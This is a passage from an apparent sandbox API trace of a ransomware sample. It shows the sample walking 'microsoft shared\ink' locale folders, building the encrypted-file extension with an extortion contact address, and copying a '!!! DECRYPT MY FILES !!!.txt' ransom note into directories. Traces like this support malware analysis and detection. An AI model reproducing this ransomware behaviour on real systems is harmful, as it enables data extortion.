ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0114.571] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.572] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.572] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 1 [0114.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui") returned 0x48 [0114.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.572] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.572] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.572] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.572] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0114.572] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0114.573] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\") returned 1 [0114.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\") returned 0x39 [0114.573] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.573] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0114.573] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.573] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.573] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui") returned 1 [0114.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui") returned 0x48 [0114.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.574] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.574] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.574] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.574] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0114.574] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0114.574] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\") returned 1 [0114.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0114.575] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.575] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5440 [0114.575] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.575] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.575] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 1 [0114.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui") returned 0x48 [0114.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.575] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.575] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.576] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.576] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0114.576] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0114.576] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\", len=0x41 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\") returned 1 [0114.576] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\") returned 0x41 [0114.576] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.576] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0114.580] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.581] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0114.581] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml", len=0x4c | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 1 [0114.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml") returned 0x4c [0114.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.581] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.581] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0114.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0114.581] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b8a1d2, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5240 [0114.582] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.582] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.585] GetProcessHeap () returned 0x630000 [0114.585] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9008, Size=0x20) returned 0x6e8fe0 [0114.585] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.586] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0114.586] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0114.586] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\") returned 1 [0114.586] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0114.586] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.586] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0114.587] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.587] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.587] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 1 [0114.587] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui") returned 0x48 [0114.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.587] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.587] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.588] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.588] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0114.595] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0114.595] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft 